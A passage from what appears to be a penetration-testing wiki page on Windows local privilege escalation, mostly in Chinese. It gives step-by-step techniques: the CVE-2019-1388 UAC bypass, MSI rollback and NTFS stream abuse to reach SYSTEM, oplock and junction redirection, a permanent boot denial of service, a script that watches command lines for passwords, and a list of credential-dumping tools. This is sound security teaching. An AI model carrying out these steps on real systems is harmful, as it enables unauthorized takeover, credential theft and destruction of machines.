此外，下面的工具允许你使用类似 burp 的工具 **intercept a named pipe communication**： [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **并且这个工具允许列出并查看所有 pipe 以发现 privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||
|
||
## 其他
|
||
|
||
### File Extensions that could execute stuff in Windows
|
||
|
||
请查看页面 **[https://filesec.io/](https://filesec.io/)**
|
||
|
||
### **Monitoring Command Lines for passwords**
|
||
|
||
当以用户身份获得 shell 时，可能存在计划任务或其他正在执行的进程会 **pass credentials on the command line**。下面的脚本每两秒捕获一次进程的 command lines，并将当前状态与之前的状态比较，输出任何差异。
|
||
```bash
|
||
while($true)
|
||
{
|
||
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Start-Sleep 1
|
||
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||
}
|
||
```
|
||
## 从进程窃取密码
|
||
|
||
## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
|
||
|
||
如果你可以访问图形界面（通过 console 或 RDP），且 UAC 已启用，在某些 Microsoft Windows 版本中，非特权用户可以以 "NT\AUTHORITY SYSTEM" 身份运行终端或任何其他进程。
|
||
|
||
这就可以利用同一漏洞同时提升权限并绕过 UAC。此外，无需安装任何东西，过程中使用的二进制由 Microsoft 签名并发布。
|
||
|
||
以下是一些受影响的系统：
|
||
```
|
||
SERVER
|
||
======
|
||
|
||
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
|
||
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
|
||
Windows 2016 14393 ** link OPENED AS SYSTEM **
|
||
Windows 2019 17763 link NOT opened
|
||
|
||
|
||
WORKSTATION
|
||
===========
|
||
|
||
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
|
||
Windows 8 9200 ** link OPENED AS SYSTEM **
|
||
Windows 8.1 9600 ** link OPENED AS SYSTEM **
|
||
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
|
||
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
||
Windows 10 1703 15063 link NOT opened
|
||
Windows 10 1709 16299 link NOT opened
|
||
```
|
||
要利用此漏洞，需要执行以下步骤：
|
||
```
|
||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||
|
||
2) When the UAC prompt appears, select "Show more details".
|
||
|
||
3) Click "Show publisher certificate information".
|
||
|
||
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
|
||
|
||
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
|
||
|
||
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
|
||
|
||
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
|
||
|
||
8) Remember to cancel setup and the UAC prompt to return to your desktop.
|
||
```
|
||
You have all the necessary files and information in the following GitHub repository:
|
||
|
||
https://github.com/jas502n/CVE-2019-1388
|
||
|
||
## From Administrator Medium to High Integrity Level / UAC Bypass
|
||
|
||
Read this to **learn about Integrity Levels**:
|
||
|
||
|
||
{{#ref}}
|
||
integrity-levels.md
|
||
{{#endref}}
|
||
|
||
Then **read this to learn about UAC and UAC bypasses:**
|
||
|
||
|
||
{{#ref}}
|
||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||
{{#endref}}
|
||
|
||
## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
|
||
|
||
The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
|
||
|
||
该攻击基本上是滥用 Windows Installer 的 rollback 功能，在卸载过程中将合法文件替换为恶意文件。为此，攻击者需要创建一个 **malicious MSI installer**，用来劫持 `C:\Config.Msi` 文件夹，Windows Installer 在卸载其他 MSI 包时会将回滚文件存放到该文件夹，而这些回滚文件会被修改以包含恶意有效载荷。
|
||
|
||
该技术的摘要如下：
|
||
|
||
1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)**
|
||
|
||
- Step 1: Install the MSI
|
||
- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`).
|
||
- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it.
|
||
- Keep a **handle** open to the file after install.
|
||
|
||
- Step 2: Begin Uninstall
|
||
- Uninstall the same `.msi`.
|
||
- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups).
|
||
- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\<random>.rbf`.
|
||
|
||
- Step 3: Custom Syncing
|
||
- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that:
|
||
- Signals when `.rbf` has been written.
|
||
- Then **waits** on another event before continuing the uninstall.
|
||
|
||
- Step 4: Block Deletion of `.rbf`
|
||
- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**.
|
||
- Then **signal back** so the uninstall can finish.
|
||
- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**.
|
||
|
||
- Step 5: Manually Delete `.rbf`
|
||
- You (attacker) delete the `.rbf` file manually.
|
||
- Now **`C:\Config.Msi` is empty**, ready to be hijacked.
|
||
|
||
> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`.
|
||
|
||
2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones**
|
||
|
||
- Step 6: Recreate `C:\Config.Msi` with Weak ACLs
|
||
- Recreate the `C:\Config.Msi` folder yourself.
|
||
- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`.
|
||
|
||
- Step 7: Run Another Install
|
||
- Install the `.msi` again, with:
|
||
- `TARGETDIR`: Writable location.
|
||
- `ERROROUT`: A variable that triggers a forced failure.
|
||
- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`.
|
||
|
||
- Step 8: Monitor for `.rbs`
|
||
- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears.
|
||
- Capture its filename.
|
||
|
||
- Step 9: Sync Before Rollback
|
||
- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that:
|
||
- Signals an event when the `.rbs` is created.
|
||
- Then **waits** before continuing.
|
||
|
||
- Step 10: Reapply Weak ACL
|
||
- After receiving the `.rbs created` event:
|
||
- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`.
|
||
- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again.
|
||
|
||
> ACLs are **only enforced on handle open**, so you can still write to the folder.
|
||
|
||
- Step 11: Drop Fake `.rbs` and `.rbf`
|
||
- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to:
|
||
- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`).
|
||
- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**.
|
||
|
||
- Step 12: Trigger the Rollback
|
||
- Signal the sync event so the installer resumes.
|
||
- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point.
|
||
- This causes **rollback to begin**.
|
||
|
||
- Step 13: SYSTEM Installs Your DLL
|
||
- Windows Installer:
|
||
- Reads your malicious `.rbs`.
|
||
- Copies your `.rbf` DLL into the target location.
|
||
- You now have your **malicious DLL in a SYSTEM-loaded path**.
|
||
|
||
- Final Step: Execute SYSTEM Code
|
||
- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked.
|
||
- 砰：你的代码以 SYSTEM 权限执行。
|
||
|
||
### From Arbitrary File Delete/Move/Rename to SYSTEM EoP
|
||
|
||
The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ?
|
||
|
||
You could exploit **NTFS internals**: every folder has a hidden alternate data stream called:
|
||
```
|
||
C:\SomeFolder::$INDEX_ALLOCATION
|
||
```
|
||
该流存储文件夹的 **索引元数据**。
|
||
|
||
因此，如果你 **删除文件夹的 `::$INDEX_ALLOCATION` 流**，NTFS **会从文件系统中移除整个文件夹**。
|
||
|
||
你可以使用像以下这样的标准文件删除 API：
|
||
```c
|
||
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
|
||
```
|
||
> 即使你调用的是 *file* delete API，它**会删除文件夹本身**。
|
||
|
||
### 从 Folder Contents Delete 到 SYSTEM EoP
|
||
如果你的 primitive 不允许你删除任意文件/文件夹，但它**允许删除攻击者控制的文件夹的*contents***？
|
||
|
||
1. 第一步：设置诱饵文件夹和文件
|
||
- 创建：`C:\temp\folder1`
|
||
- 在其中：`C:\temp\folder1\file1.txt`
|
||
|
||
2. 第二步：在 `file1.txt` 上放置一个 **oplock**
|
||
- 当有特权进程尝试删除 `file1.txt` 时，oplock **暂停执行**。
|
||
```c
|
||
// pseudo-code
|
||
RequestOplock("C:\\temp\\folder1\\file1.txt");
|
||
WaitForDeleteToTriggerOplock();
|
||
```
|
||
3. 步骤 3：触发 SYSTEM 进程（例如 `SilentCleanup`）
|
||
- 该进程扫描文件夹（例如 `%TEMP%`）并尝试删除其内容。
|
||
- 当它到达 `file1.txt` 时，**oplock 触发** 并将控制权交给你的回调。
|
||
|
||
4. 步骤 4：在 oplock 回调内 – 重定向删除
|
||
|
||
- 选项 A：将 `file1.txt` 移动到其他位置
|
||
- 这会清空 `folder1` 而不会破坏 oplock。
|
||
- 不要直接删除 `file1.txt` — 那会过早释放 oplock。
|
||
|
||
- 选项 B：将 `folder1` 转换为 **junction**：
|
||
```bash
|
||
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
|
||
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
|
||
```
|
||
- 选项 C：在 `\RPC Control` 中创建一个 **symlink**：
|
||
```bash
|
||
# Make file1.txt point to a sensitive folder stream
|
||
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
|
||
```
|
||
> 这针对存储文件夹元数据的 NTFS 内部流 — 删除它就会删除该文件夹。
|
||
|
||
5. 第5步：释放 oplock
|
||
- SYSTEM 进程继续并尝试删除 `file1.txt`。
|
||
- 但现在，由于 junction + symlink，它实际上正在删除：
|
||
```
|
||
C:\Config.Msi::$INDEX_ALLOCATION
|
||
```
|
||
**结果**: `C:\Config.Msi` 被 SYSTEM 删除。
|
||
|
||
### 从任意文件夹创建到永久 DoS
|
||
|
||
利用一个原语，让你可以以 **SYSTEM/admin** 创建任意文件夹——即使你 **不能写文件** 或 **设置弱权限**。
|
||
|
||
创建一个 **文件夹**（不是文件），命名为一个 **关键 Windows 驱动**，例如：
|
||
```
|
||
C:\Windows\System32\cng.sys
|
||
```
|
||
- 这个路径通常对应于 `cng.sys` 内核模式驱动程序。
|
||
- 如果你 **预先将其创建为一个文件夹**，Windows 在启动时无法加载实际的驱动程序。
|
||
- 然后，Windows 会在启动过程中尝试加载 `cng.sys`。
|
||
- 它看到该文件夹，**无法解析实际驱动程序**，并且**导致崩溃或停止启动**。
|
||
- **没有回退**，且在没有外部干预（例如，引导修复或磁盘访问）的情况下**无法恢复**。
|
||
|
||
|
||
## **从 High Integrity 到 System**
|
||
|
||
### **新服务**
|
||
|
||
如果你已经在 High Integrity 进程上运行，**path to SYSTEM** 可能很容易——只需**创建并执行一个新服务**：
|
||
```
|
||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||
sc start newservicename
|
||
```
|
||
> [!TIP]
|
||
> 在创建 service 二进制文件时，确保它是一个有效的 service，或者该二进制执行必要的操作以尽快运行，因为如果它不是有效的 service，会在 20 秒内被终止。
|
||
|
||
### AlwaysInstallElevated
|
||
|
||
从一个 High Integrity 进程，你可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用一个 _**.msi**_ 封装器 **安装** 一个 reverse shell。\
|
||
[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
|
||
|
||
### High + SeImpersonate privilege to System
|
||
|
||
**你可以** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
|
||
|
||
### From SeDebug + SeImpersonate to Full Token privileges
|
||
|
||
如果你拥有那些 token 权限（很可能会在已经是 High Integrity 的进程中发现），你将能够使用 SeDebug 权限 **打开几乎任何进程**（非受保护进程），**复制该进程的 token**，并用该 token 创建一个 **任意进程**。\
|
||
使用此技术通常会 **选择以 SYSTEM 运行且具有所有 token 权限的进程**（_是的，你可能会发现某些 SYSTEM 进程并不具备所有 token 权限_）。\
|
||
**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||
|
||
### **Named Pipes**
|
||
|
||
此技术被 meterpreter 在 `getsystem` 中用于提权。该技术包括 **创建一个 pipe，然后创建/滥用一个 service 向该 pipe 写入**。随后，使用 **`SeImpersonate`** 权限创建该 pipe 的 **server** 将能够 **模拟 pipe 客户端（即 service）的 token**，以获取 SYSTEM 权限。\
|
||
If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\
|
||
If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
|
||
|
||
### Dll Hijacking
|
||
|
||
如果你设法 **hijack 一个 dll**，并被一个以 **SYSTEM** 运行的 **process** 在加载时使用，你将能够以该权限执行任意代码。因此，Dll Hijacking 对此类提权也很有用，而且从 high integrity 进程实现起来往往 **要容易得多**，因为该进程通常对用于加载 dll 的文件夹具有 **写权限**。\
|
||
**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.**
|
||
|
||
### **From Administrator or Network Service to System**
|
||
|
||
- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator)
|
||
- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/)
|
||
- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit)
|
||
|
||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||
|
||
**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||
|
||
## More help
|
||
|
||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||
|
||
## Useful tools
|
||
|
||
**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
**PS**
|
||
|
||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错配和敏感文件（**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**）。已检测。**\
|
||
[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错配并收集信息（**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**）。**\
|
||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错配**\
|
||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的已保存会话信息。local 使用 -Thorough。**\
|
||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取凭据。已检测。**\
|
||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域内对收集到的密码进行喷洒**\
|
||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
|
||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows 提权枚举**\
|
||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**\~\~ -- 搜索已知的提权漏洞（已弃用，改用 Watson）\
|
||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要 Admin 权限)**
|
||
|
||
**Exe**
|
||
|
||
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的提权漏洞（需要用 VisualStudio 编译）([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错配（更偏向信息收集工具而非纯提权）（需要编译）**(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭据（GitHub 上有预编译的 exe）**\
|
||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
|
||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~**\~\~ -- 检查错配（可执行文件在 GitHub 上有预编译版本）。不推荐。它在 Win10 上效果不好。\
|
||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错配（通过 python 打包成 exe）。不推荐。它在 Win10 上效果不好。
|
||
|
||
**Bat**
|
||
|
||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于该帖创建的工具（运行时不需要 accesschk，但可选择使用）。
|
||
|
||
**Local**
|
||
|
||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用的 exploit（本地 python）\
|
||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用的 exploit（本地 python）
|
||
|
||
**Meterpreter**
|
||
|
||
_multi/recon/local_exploit_suggestor_
|
||
|
||
你需要使用正确版本的 .NET 编译该项目（[see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)）。要查看受害主机上安装的 .NET 版本，你可以执行：
|
||
```
|
||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||
```
|
||
## 参考资料
|
||
|
||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||
|
||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|